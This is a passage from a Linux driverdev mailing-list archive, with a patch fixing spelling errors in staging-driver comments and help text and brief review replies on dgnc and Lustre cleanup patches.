ldlm_lock. - * This file is derived from flag definitions in lustre_dlm_flags.def. - * The format is defined in the lustre_dlm_flags.tpl template file. * * \addtogroup LDLM Lustre Distributed Lock Manager * @{ -- 2.1.0 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH] Drivers: staging: Fixed comment and helpline spelling errors
Fixed a few spelling errors in commented code, helpline text, and a TODO list Files changed: drivers/staging/dgnc/TODO drivers/staging/dgnc/dgnc_driver.h drivers/staging/dgnc/dgnc_tty.c drivers/staging/emxx_udc/emxx_udc.c drivers/staging/fbtft/Kconfig Signed-off-by: Colin Cronin --- drivers/staging/dgnc/TODO | 4 ++-- drivers/staging/dgnc/dgnc_driver.h | 2 +- drivers/staging/dgnc/dgnc_tty.c | 2 +- drivers/staging/emxx_udc/emxx_udc.c | 2 +- drivers/staging/fbtft/Kconfig | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/drivers/staging/dgnc/TODO b/drivers/staging/dgnc/TODO index 2b2c6ea..cbc679d 100644 --- a/drivers/staging/dgnc/TODO +++ b/drivers/staging/dgnc/TODO @@ -1,6 +1,6 @@ * checkpatch fixes -* remove unecessary comments -* remove unecessary error messages. Example kzalloc() has its +* remove unnecessary comments +* remove unnecessary error messages. Example kzalloc() has its own error message. Adding an extra one is useless. * use goto statements for error handling when appropriate * there is a lot of unecessary code in the driver. It was diff --git a/drivers/staging/dgnc/dgnc_driver.h b/drivers/staging/dgnc/dgnc_driver.h index f77fed5..e3e3cdc 100644 --- a/drivers/staging/dgnc/dgnc_driver.h +++ b/drivers/staging/dgnc/dgnc_driver.h @@ -73,7 +73,7 @@ /* * Define a local default termios struct. All ports will be created * with this termios initially. This is the same structure that is defined - * as the default in tty_io.c with the same settings overriden as in serial.c + * as the default in tty_io.c with the same settings overridden as in serial.c * * In short, this should match the internal serial ports' defaults. */ diff --git a/drivers/staging/dgnc/dgnc_tty.c b/drivers/staging/dgnc/dgnc_tty.c index ce4187f..b62f781 100644 --- a/drivers/staging/dgnc/dgnc_tty.c +++ b/drivers/staging/dgnc/dgnc_tty.c @@ -436,7 +436,7 @@ void dgnc_tty_uninit(struct dgnc_board *brd) * dgnc_wmove - Write data to transmit queue. * * ch - Pointer to channel structure. - * buf - Poiter to characters to be moved. + * buf - Pointer to characters to be moved. * n - Number of characters to move. * *===*/ diff --git a/drivers/staging/emxx_udc/emxx_udc.c b/drivers/staging/emxx_udc/emxx_udc.c index fbf82bc..18e30d2 100644 --- a/drivers/staging/emxx_udc/emxx_udc.c +++ b/drivers/staging/emxx_udc/emxx_udc.c @@ -1223,7 +1223,7 @@ static int _nbu2ss_epn_in_transfer( } /*-*/ - /* Start tranfer */ + /* Start transfer */ iBufSize = req->req.length - req->req.actual; if (iBufSize > 0) result = _nbu2ss_epn_in_data(udc, ep, req, iBufSize); diff --git a/drivers/staging/fbtft/Kconfig b/drivers/staging/fbtft/Kconfig index 6cf0c58..346f189 100644 --- a/drivers/staging/fbtft/Kconfig +++ b/drivers/staging/fbtft/Kconfig @@ -12,7 +12,7 @@ config FB_TFT_AGM1264K_FL tristate "FB driver for the AGM1264K-FL LCD display" depends on FB_TFT help - Framebuffer support for the AGM1264K-FL LCD display (two Samsung KS0108 compatable chips) + Framebuffer support for the AGM1264K-FL LCD display (two Samsung KS0108 compatible chips) config FB_TFT_BD663474 tristate "FB driver for the BD663474 LCD Controller" -- 1.9.1 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH v2 0/3] staging: iio_simple_dummy: minor driver fixes
Looks nice. :) regards, dan carpenter ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH 4.1.0-rc4] STAGING: Delare request_cache as static for drivers/staging/lustre/lustre/ptlrpc/client.c
On Wed, May 27, 2015 at 05:05:26PM +0800, Simon Guo wrote: > Delare request_cache variable as static. Is it Declare? regards sudip ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH] staging: dgnc: check return value before using pointer
On Thu, May 28, 2015 at 12:35:22PM +, Gujulan Elango, Hari Prasath (H.) wrote: > Check the return value of kcalloc first and then use the pointer. > > Signed-off-by: Gujulan Elango Hari Prasath > --- > - > - if (!brd->msgbuf) { > + if (!brd->msgbuf_head) { > kfree(brd); > return -ENOMEM; > } > > + brd->msgbuf = brd->msgbuf_head; > + > + checkpatch with --strict complains about multiple blank lines. regards sudip ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH] staging: dgnc: delete all references to 'flipbuf'
On Fri, May 29, 2015 at 07:17:37AM +, Gujulan Elango, Hari Prasath (H.) wrote: > This patch deletes all references to 'flipbuf'.Memory is allocated and > freed but never used anywhere in the driver.Also deleted an ununsed > Macro defined in the header file. after your patch MYFLIPLEN becomes unused now. can u please remove that also in a separate patch? regards sudip ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel